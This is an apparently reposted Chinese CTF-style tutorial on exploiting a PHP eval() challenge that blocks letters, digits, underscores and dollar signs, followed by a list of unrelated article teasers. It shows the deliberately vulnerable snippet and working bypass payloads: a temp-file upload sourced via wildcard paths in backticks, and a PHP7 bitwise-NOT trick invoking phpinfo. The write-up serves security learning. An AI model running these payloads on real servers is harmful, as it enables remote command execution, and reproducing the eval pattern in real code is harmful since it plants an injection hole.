过滤了字母、数字、_、$的webshell命令执行技巧

news2024/11/28 8:41:02

目录

对于php5以上首先要解决的问题有

解决技巧

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

        1.执行Linux命令

        2.执行文件里面的shell命令

5.构造完整的code参数

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7可以用取反绕过的技巧( ~ 是取反的意思)


<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

这个代码怎么利用

对于php5以上首先要解决的问题有

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

解决技巧

1.code长度小于35位

这个问题和整体思路有关,要和后面的一起考虑

2.没有字母、数字、_ 、$

可以不用字母数字,Linux系统文件名支持通配符方式查找

比如

* 代表任意长度的字符

?代表任意一个长度的字符

[ ] 匹配括号里面的任意一个

这道题我们要找文件,不能用字母,数字等,因为我们要找的文件有个特点是在tmp下,9位,最后一位有几率是大写字母,所以我们可以用通配符和ascii码结合一下,写出payload

/???/????????[@-[] 

因为最后一位是大写,所以可以用@-[ ,因为@到[ 的ASCII码正好刚刚好包含了大写字母

3.怎么把文件放进服务器

写一个文件上传的html页面,作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记

<!DOCTYPE html>
<html lang="zh">
<head>  
    <meta charset="UTF-8">  
    <title>文件上传示例</title>  
</head>
<body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        <label for="file">选择文件:</label>
        <input type="file" name="file" id="file" required>
        <input type="submit" value="上传">
    </form>
</body>
</html>

在上传的文件1.txt里面写上#!bin/bash

                                           id          

复制如图的请求标识,备用      

4.怎么执行文件里面的内容

在发送上一步文件上传请求后,Linux会在tmp下生成一个临时文件,我们要运行并执行文件里面的内容

        1.执行Linux命令

                在Linux里面``反引号可以执行命令,所以我们用

                `/???/????????[@-[]`

                来执行查找临时文件的命令,

        2.执行文件里面的shell命令

               在文件路径的前面加上   .  可以执行文件里面的命令

        所以payload是

                `. /???/????????[@-[]`

5.构造完整的code参数

        code=?><?=`. /???/????????[@-[]`;?>

<?是php的开头,为什么前面还要加一个?>呢

因为这个是php官方要求的,目的是为了防止前面的代码进行干扰,就用?>进行闭合,

然后再写我们的php代码。

如图所示,post请求是可以把get请求参数和post请求一起进行传递的

整个过程是,post请求把带有shell命令的临时文件生成,然后get请求传递code值放入eval()里面,

然后执行查找临时文件的命令,找到了临时文件,然后用 . 来执行文件里面的显示当前用户id的命令,最后,用户id信息就会显示在响应包里面

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7还可以用取反绕过的技巧( ~ 是取反的意思)

PHP7允许用($a)();这样的方法来执行动态函数,所以我们可以想到直接(phpinfo)();

但是由于过滤了字母,不能直接写phpinfo,可以进行取反

把phpinfo用php代码进行取反,得到

%8F%97%8F%96%91%99%90

取反绕过了以后再取反一次,就回到了我们的phpinfo

所以可以构造payload为

code=(~%8F%97%8F%96%91%99%90)();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2034819.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学习记录703@计算机组成原理之原码、补码、反码、移码

数据表示基本概念 数据表示分为有符号数和无符号数&#xff0c;其中有符号数分为整数、纯小数、带小数&#xff1b;整数和纯小数小数点位置固定&#xff0c;统称为定点数&#xff1b;带小数小数点位置可以浮动&#xff0c;称为为浮点数&#xff0c;浮点数阶码就是整数部分&…

忘记iPhone锁屏密码,多次输出密码导致iPhone停用了怎么解锁?

iphone已停用怎么解锁&#xff1f;当因忘记iPhone锁屏密码&#xff0c;多次输入错误密码而被停用时&#xff0c;怎么解锁恢复对设备的访问是非常重要的。下面小编将给大家介绍几种解锁已停用iPhone的方法&#xff0c;一起来看看吧&#xff01; 一、使用恢复模式解锁 将iPhone连…

知识学习技巧:如何从 iPhone 恢复误操作删除的视频

您来这里主要是因为您想知道如何从 iPhone 恢复已删除的视频。实际上&#xff0c;如果视频是用 iPhone 拍摄的&#xff0c;您可以尝试在相册“最近删除”中找到它们。删除后它将保留 40 天。如果您清空了相册或无法从相册中找到已删除的视频&#xff0c;那么您必须尝试使用奇客…

系统管理篇

系统管理 一、网络管理1. 网络状态查看2. 网络和路由配置3. 网络故障排除4. 网络服务管理 二、软件管理1. 软件包管理器2. rpm包和rpm命令3. yum仓库4. 源代码编译安装5. 内核升级6. grub配置文件 三、进程管理1. 进程的概念与进程查看2. 进程的控制命令3. 进程的通信方式--信号…

Linux内核中的eMMC存储支持详解

一、eMMC概述 eMMC&#xff08;Embedded MultiMediaCard&#xff09;是一种嵌入式多媒体卡&#xff0c;是一种基于NAND Flash的闪存卡标准&#xff0c;由JEDEC&#xff08;电子设备工程联合委员会&#xff09;订立和发布。eMMC集成了NAND Flash、闪存控制器和eMMC协议接口&…

【npm】如何将开发的vite插件发布到npm

前言 简单说下 npm 是什么&#xff1a; npm 是一个 node 模块管理工具&#xff0c;也是全球最大的共享源。 npm 工具与 nodejs 配套发布&#xff0c;便利开发人员共享代码。npm 主要包括 npm 官方网站、CLI&#xff08;控制台命令行工具&#xff09;、和 registry&#xff08;…

系统架构设计定义

系统架构设计是软件开发和信息系统构建中至关重要的一环&#xff0c;它涉及到系统的整体结构、模块划分、接口定义以及设计原则等多个方面。以下是对系统架构设计的详细阐述&#xff1a; 一、系统架构设计的定义 系统架构设计是指对系统的整体结构、模块关系、接口定义以及交互…

IDEA2023版本创建mavenWeb项目及maven的相关配置

在使用idea创建maven项目之前&#xff0c;首先要确保本地已经下载并配置好maven的环境变量&#xff0c;可以参考我主页的maven下载及环境变量配置篇。 接下来首先介绍我们需要对maven安装目录文件进行的修改介绍。 maven功能配置 我们需要需改 maven/conf/settings.xml 配置…

数字孪生水利“天空地水工”一体化监测感知行动方案的框架及目标

监测感知数据是构建数字孪生水利体系的前提和基础。&#xff0c;推进物理流域监测系统科学建设和高频乃至在线运行&#xff0c;提升水利对象全要素和治理管理全过程智能监测感知能力&#xff0c;为数字孪生水利的高保真建设运行提供有力算据保障&#xff0c;支撑构建具有“四预…

博客系统测试用例报告

一、项目背景 ⼀款基于SpringBoot实现的简易⽹站&#xff0c;功能有⽤⼾注册及登录&#xff0c;博客列表展⽰&#xff0c;博客详情查看&#xff0c;博客编写和⽂章评论 点赞功能采⽤的技术有&#xff1a;HTML、CSS、Mybatis、Token、Ajax等技术。 二、项目功能 1.注册 进入…

仓颉编程入门 -- 泛型概述 , 如何定义泛型函数

泛型概述 , 如何定义泛型函数 1 . 泛型的定义 在仓颉编程语言中&#xff0c;泛型指的是参数化类型&#xff0c;参数化类型是一个在声明时未知并且需要在使用时指定的类型。类型声明与函数声明可以是泛型的。最为常见的例子就是 Array、Set 等容器类型。以数组类型为例&#xf…

inscode的会员计划的python环境问题【版本3.9.16】无法升级python

购买了inscode的会员计划后,部署python项目 遇到python环境无法升级的问题 inscode的会员计划的环境是3.9.16,但是项目用的例子需要3.10以上的版本,最终本人也无法完全解决,虽然手动安装了python3.10,一切都可以实现,但是最后环境自动恢复到3.9版本,导致自己手动配置的全…

速成cesium而忽略前端基础,你可能会遇到这些坑!

cesium作为一个功能强大的开源三维地球框架&#xff0c;做出来的效果受到众多企业的青睐。然而&#xff0c;许多小伙伴们都 希望能够快速掌握cesium&#xff0c;从而忽略了前端基础知识的重要性。这种急功近利的学习方式往往会导致一些不良后果&#xff1a; 1. 前端基础太薄弱…

【leetcode】找出与数组相加的整数II( 过程反思 思路详解 )

题目分析&#xff1a; 题目要咱们除掉nums1中的两个数&#xff0c;从另一个角度理解就是找到nums1中与nums2元素匹配的nums1.size() - 2个数 由题目可知&#xff0c;二者元素具有相差 x 的一一对应关系&#xff0c;如此&#xff0c;不难想到应首先通过对二者排序来构建大致的匹…

用Python制作开心消消乐游戏|附源码

制作一个完整的“开心消消乐”风格的游戏在Python中是一个相对复杂的项目&#xff0c;因为它涉及到图形界面、游戏逻辑、动画效果以及用户交互等多个方面。不过&#xff0c;我可以为你提供一个简化的版本和概念框架&#xff0c;帮助你理解如何开始这个项目&#xff0c;并提供一…

仪表板展示|DataEase看中国:2024巴黎奥运会中国体育代表团战绩报告

背景介绍 北京时间2024年8月12日凌晨&#xff0c;巴黎奥运会闭幕。在本届奥运会中&#xff0c;我们不仅见证了许多新世界纪录的诞生&#xff0c;更看到了中国体育的强大实力与无限潜力。中国运动健儿们卓越的表现和顽强的拼搏精神&#xff0c;不但让国人为之自豪&#xff0c;也…

普元EOS学习笔记-高低开结合方式实现图书的增删改查

1 前言 在《普元EOS学习笔记-低开实现图书的增删改查》的文章中&#xff0c;我描述了在精简应用中&#xff0c;基于低开实现图书分类的增删改查的操作&#xff0c;是为了简单展示EOS低开的能力。 低开天生会有一些问题&#xff0c;这个咱就不啰嗦了。而且&#xff0c;那篇文章…

(kali关怀版)kali调整字体图标显示大小

字体大小调整(图标字体) 字体在左上角搜apprence 图标大小调整 图标在桌面右键点apprence 任务栏大小调整 任务栏在上面右键&#xff0c;选择panel preference 终端字体大小调整 终端字体用ctrl和加号减号进行缩放 属于是kali关怀版了:) 还可指定锁屏和休眠时间&#…

科研绘图系列:Python语言箱线图

介绍 不同分组的python语言箱线图 加载Python包 import sys import pandas as pd import numpy as np import scipy as sp from scipy import stats import randomimport seaborn as sns import matplotlib.pyplot as plt from matplotlib

杂项复现-中间件

一、Apache HTTPD 多后缀解析漏洞 一、Apache HTTPD 多后缀解析漏洞 在有多个后缀的情况下&#xff0c;只要一个文件含有.php后缀的文件即将被识别成PHP文件&#xff0c;没必要是最后一个后缀。利用这个特性&#xff0c;将会造成一个可以绕过上传白名单的解析漏洞。 1、上传一个…